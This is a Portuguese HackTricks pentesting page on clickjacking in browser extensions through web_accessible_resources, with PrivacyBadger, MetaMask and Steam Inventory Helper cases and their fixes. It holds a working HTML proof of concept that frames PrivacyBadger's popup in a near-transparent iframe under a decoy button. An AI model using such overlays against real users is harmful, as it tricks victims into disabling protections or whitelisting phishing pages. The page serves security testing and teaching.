hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

6.2 KiB

BrowExt - ClickJacking

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão de navegador.
Se você não sabe o que é ClickJacking, confira:

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

Extensões contêm o arquivo manifest.json e esse arquivo JSON tem um campo web_accessible_resources. Veja o que a documentação do Chrome diz sobre isso:

Esses recursos estariam então disponíveis em uma página da web através da URL chrome-extension://[ID DO PACOTE]/[CAMINHO], que pode ser gerada com o método extension.getURL. Recursos na lista de permissões são servidos com cabeçalhos CORS apropriados, então eles estão disponíveis através de mecanismos como XHR.1

Além de serem acessíveis pela web, os recursos no web_accessible_resources funcionam com a autoridade ambiente da extensão: eles podem alterar o estado, carregar outros recursos e modificar o navegador de certas maneiras. Se um documento em web_accessible_resources pode realizar qualquer comportamento interessante, um atacante pode incorporá-lo em uma página da web e enganar visitantes para ativá-lo.

Exemplo do PrivacyBadger

Foi descoberto que na extensão PrivacyBadger, os conteúdos do diretório skin/ eram web_accessible_resources:

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Ao carregar skin/popup.html, o documento que é renderizado quando você clica no ícone do PrivacyBadger no navegador, em um iframe poderíamos enganar o usuário a clicar em "Desativar PrivacyBadger para este site", expondo o usuário a rastreamento adicional e comprometendo a função do PrivacyBadger. Confira o exemplo de vídeo de ClickJacking em https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm

A correção foi simples: remover /skin/* dos web_accessible_resources.

PoC

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Exemplo Metamask

Um post de blog sobre um ClickJacking no Metamask pode ser encontrado aqui. Neste caso, o Metamask corrigiu a vulnerabilidade verificando se o protocolo usado para acessá-lo era https: ou http: (e não chrome:, por exemplo):

Outro ClickJacking corrigido na extensão do Metamask foi que os usuários podiam Clicar para adicionar à lista branca quando uma página era suspeita de ser phishing por causa de “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Como essa página era vulnerável a Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar em adicionar à lista branca sem perceber, e depois voltar para a página de phishing que estaria na lista branca.

Exemplo Steam Inventory Helper

Verifique a seguinte página para entender como um XSS em uma extensão de navegador foi combinado com uma vulnerabilidade de ClickJacking:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: